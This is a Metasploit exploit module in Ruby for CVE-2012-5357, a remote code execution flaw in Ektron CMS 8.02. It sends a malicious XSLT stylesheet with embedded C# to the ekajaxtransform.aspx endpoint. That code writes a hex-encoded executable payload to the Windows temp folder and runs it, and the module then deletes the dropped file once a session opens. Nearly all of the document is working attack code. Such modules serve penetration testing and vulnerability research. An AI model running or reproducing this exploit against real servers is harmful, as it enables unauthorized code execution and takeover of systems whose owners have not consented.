Ektron 8.02 XSLT Transform Remote Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/file_dropper'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::EXE
 include Msf::Exploit::FileDropper

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Ektron 8.02 XSLT Transform Remote Code Execution',
   'Description'    => %q{
     This module exploits a vulnerability in Ektron CMS 8.02 (before SP5). The
    vulnerability exists due to the insecure usage of XslCompiledTransform, using a
    XSLT controlled by the user. The module has been tested successfully on Ektron CMS
    8.02 over Windows 2003 SP2, which allows to execute arbitrary code with NETWORK
    SERVICE privileges.
   },
   'Author'         => [
    'Unknown', # Vulnerability discovery, maybe Richard Lundeen from http://webstersprodigy.net/ ?
    'juan vazquez' # Metasploit module
   ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2012-5357'],
     [ 'URL', 'http://webstersprodigy.net/2012/10/25/cve-2012-5357cve-1012-5358-cool-ektron-xslt-rce-bugs/' ],
     [ 'URL', 'http://technet.microsoft.com/en-us/security/msvr/msvr12-016' ]
    ],
   'Payload'        =>
    {
     'Space'           => 2048,
     'StackAdjustment' => -3500
    },
   'Platform'       => 'win',
   'Privileged'     => true,
   'Targets'        =>
    [
     ['Windows 2003 SP2 / Ektron CMS400 8.02', { }],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Oct 16 2012'
  ))

  register_options(
   [
    OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]),
    OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/'])
   ], self.class )
 end

 def check

  fingerprint = rand_text_alpha(5 + rand(5))
  xslt_data = <<-XSLT
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xml()
{
return "#{fingerprint}";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:stylesheet>
  XSLT

  res = send_request_cgi(
   {
    'uri'     => "#{uri_path}WorkArea/ContentDesigner/ekajaxtransform.aspx",
    'version' => '1.1',
    'method'  => 'POST',
    'ctype'   => "application/x-www-form-urlencoded; charset=UTF-8",
    'headers' => {
     "Referer" => build_referer
    },
    'vars_post'    => {
     "xml" => rand_text_alpha(5 + rand(5)),
     "xslt" => xslt_data
    }
   })

  if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def on_new_session(session)
  if session.type == "meterpreter"
   session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
  end

  @dropped_files.delete_if do |file|
   win_file = file.gsub("/", "\\\\")
   if session.type == "meterpreter"
    begin
     windir = session.fs.file.expand_path("%WINDIR%")
     win_file = "#{windir}\\Temp\\#{win_file}"
     # Meterpreter should do this automatically as part of
     # fs.file.rm().  Until that has been implemented, remove the
     # read-only flag with a command.
     session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
     session.fs.file.rm(win_file)
     print_good("Deleted #{file}")
     true
    rescue ::Rex::Post::Meterpreter::RequestError
     print_error("Failed to delete #{win_file}")
     false
    end

   end
  end

 end

 def uri_path
  uri_path = target_uri.path
  uri_path << "/" if uri_path[-1, 1] != "/"
  uri_path
 end

 def build_referer
  if datastore['SSL']
   schema = "https://"
  else
   schema = "http://"
  end

  referer = schema
  referer << rhost
  referer << ":#{rport}"
  referer << uri_path
  referer
 end

 def exploit

  print_status("Generating the EXE Payload and the XSLT...")
  exe_data = generate_payload_exe
  exe_string = Rex::Text.to_hex(exe_data)
  exename = rand_text_alpha(5 + rand(5))
  fingerprint = rand_text_alpha(5 + rand(5))
  xslt_data = <<-XSLT
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xml()
{
char[] charData = "#{exe_string}".ToCharArray();
string fileName = @"C:\\windows\\temp\\#{exename}.txt";
System.IO.FileStream fs = new System.IO.FileStream(fileName, System.IO.FileMode.Create);
System.IO.BinaryWriter bw = new System.IO.BinaryWriter(fs);
for (int i = 0; i < charData.Length; i++)
{
 bw.Write( (byte) charData[i]);
}
bw.Close();
fs.Close();
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.FileName = @"C:\\windows\\temp\\#{exename}.txt";
p.Start();
return "#{fingerprint}";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:stylesheet>
  XSLT

  print_status("Trying to run the xslt transformation...")
  res = send_request_cgi(
   {
    'uri'     => "#{uri_path}WorkArea/ContentDesigner/ekajaxtransform.aspx",
    'version' => '1.1',
    'method'  => 'POST',
    'ctype'   => "application/x-www-form-urlencoded; charset=UTF-8",
    'headers' => {
     "Referer" => build_referer
    },
    'vars_post'    => {
     "xml" => rand_text_alpha(5 + rand(5)),
     "xslt" => xslt_data
    }
   })
  if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
   print_good("Exploitation was successful")
   register_file_for_cleanup("#{exename}.txt")
  else
   fail_with(Exploit::Failure::Unknown, "There was an unexpected response to the xslt transformation request")
  end

 end
end